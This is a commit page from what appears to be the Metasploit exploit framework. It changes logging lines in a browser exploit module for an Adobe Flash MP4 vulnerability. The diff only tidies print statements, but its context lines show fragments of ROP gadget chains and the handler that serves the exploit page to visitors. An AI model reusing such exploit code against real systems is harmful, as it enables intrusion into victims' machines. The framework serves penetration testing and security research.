Permalink
Browse files

Fixing up print statements

Dropping the ROP prints since they're not all that useful.
  • Loading branch information...
1 parent 1396fc1 commit 302a42a4956196dd0c863b221c4c27f89da9aea8 @todb todb committed Mar 8, 2012
Showing with 1 addition and 3 deletions.
  1. +1 −3 modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
@@ -87,7 +87,6 @@ def get_payload(t)
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
- print_status("Using msvcrt ROP")
rop =
[
0x77c4e392, # POP EAX # RETN
@@ -111,7 +110,6 @@ def get_payload(t)
].pack("V*")
when :jre
- print_status("Using JRE ROP")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
@@ -256,7 +254,7 @@ def on_request_uri(cli, request)
end
add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
- print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
+ print_status("#{cli.peerhost}:#{cli.peerport} Sending html...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

0 comments on commit 302a42a

Please sign in to comment.